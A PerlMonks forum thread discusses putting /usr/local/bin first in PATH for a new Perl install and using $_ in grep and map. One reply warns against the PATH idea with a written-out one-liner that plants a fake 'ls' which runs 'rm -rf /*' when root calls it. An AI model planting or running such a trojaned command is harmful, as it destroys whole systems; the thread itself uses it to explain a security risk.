Beefy Boxes and Bandwidth Generously Provided by pair Networks
We don't bite newbies here... much
 
PerlMonks  

Re: My first USEFUL script!

by naikonta (Curate)
on Mar 05, 2008 at 05:24 UTC ( #672094=note: print w/ replies, xml ) Need Help??


in reply to My first USEFUL script!

I don't know if you have updated yourself about PATH, so here is one way: put /usr/local/bin as the first entry in PATH system-wide, such as PATH=/usr/local/bin:$PATH. It's simpler and non-destructive (no file renameing).But it's not 100%-success-guaranteed either. Some programs insist to explicitly set their PATHs to certain entries and specific order.

Anyhow, the idea of forcing everything to use the new Perl installation is just fine since Perl is backward compatible. Specially, new 5.10 features must be turned on explicitly so nothing shold be broken by this alone. The only issue left is about the non-core Perl modules installed from CPAN. Both versions hold different idea about where to lookup the modules due to different @INC entries. If you never installed CPAN modules before (even if you didn't realize), you're probably safe. If you really never install modules from CPAN, well, start doing it. It's easy, and fun too :-)

Now about the script. I second Tanktalus that there's nothing wrong with $_, specially in grep and map blocks, as well as in simple for construct. I even perceive that grep and map would lose their touch without $_, not that they'd lose their functionalities at all. It's not only about convenience and short code, it's also about aliasing (regardless of whether or not it is a feature; it is for me).

I find myself hard to use your rating scale as well, as "retarted" can be at either end of the scale. But let me say, it's a good start, go for it, and get hunger for more.


Open source softwares? Share and enjoy. Make profit from them if you can. Yet, share and enjoy!


Comment on Re: My first USEFUL script!
Select or Download Code
Re^2: My first USEFUL script!
by oko1 (Deacon) on Mar 05, 2008 at 16:13 UTC
    put /usr/local/bin as the first entry in PATH system-wide
    

    This would be a really, really bad idea.

    joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/ +local/bin/ls; chmod +x /usr/local/bin/ls

    The next time that root runs 'ls', the system is gone.

      The really bad idea here is where someone other than root can write to /usr/local/*.

      If root did the above, well, you already have root - no need to hide behind some silly script.

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://672094]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others lurking in the Monastery: (4)
As of 2014-07-12 10:44 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    When choosing user names for websites, I prefer to use:








    Results (239 votes), past polls